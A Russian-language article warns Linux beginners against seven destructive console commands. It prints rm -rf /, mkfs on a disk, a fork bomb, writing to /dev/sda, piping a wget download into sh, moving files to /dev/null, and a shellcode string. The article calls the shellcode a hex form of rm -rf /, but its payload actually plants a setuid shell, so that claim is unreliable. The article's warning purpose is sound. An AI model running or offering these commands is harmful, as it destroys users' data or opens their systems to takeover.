Если Вы пока новичок и еще слабо знакомы с Linux, то вполне возможно, что на форумах или в чатах, встретите "дурного" (мягко сказано) человека, который сможет (ну или попытается) обмануть Вас в использовании консольных Linux команд, которые могут повредить или уничтожить Ваши файлы, или даже всю Вашу операционную систему. Так вот, чтобы избежать такой опасной ситуации, здесь приведен небольшой список "смертельных" Linux команд, которых нужно избегать. Да и вообще, если уж собрались выполнить незнакомую команду, то хотябы для начала прочтите соответствующую "man" страничку, в которой скорее всего поймете, что может делать конкретная команда взависимости от переданных ей параметров. Итак...
1. Код:
rm -rf /
Эта команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы.
2. Код:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5 e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe 8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Это шестнадцатеричная версия ранее упомянутой команды [rm -rf /], которая может обмануть или поставить в тупик даже довольно опытных пользователей Linux. Напоминание: команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы!
3. Код:
mkfs.ext3 /dev/sda
Эта команда переформатирует устройство, которое указано после команды mkfs, или полностью уничтожит все файлы на нем.
4. Код:
:(){:|:&};:
Код известен как "forkbomb". Эта команда вынудит Вашу систему выполнять огромное число процессов до полного зависания, что довольно часто приводит к искажению данных.
5. Код:
any_command > /dev/sda
Этой командой исходные данные будут записаны в блочное устройство, что как правило приведет к затиранию файловой системы, а другими словами к полной потере данных.
6. Код:
wget http://some_untrusted_source -O- | sh
Никогда не загружайте код из непроверенных (мягко сказано) источников, и не запускайте на исполнение вероятно вредоносный программный код. Что собственно эта команда и сделает вопреки вашему желанию.
7. Код:
mv /home/yourhomedirectory/* /dev/null
Эта команда переместит все файлы из вашего домашнего каталога в несуществующее место, и таким образом вы навсегда потеряете свои данные.
Здесь конечно приведен скорее всего далеко не полный список "смертельных" Linux команд. Так что если кто знает другие, то можно их огласить в комментариях к этой статье, а модератор позже добавит их к общему списку.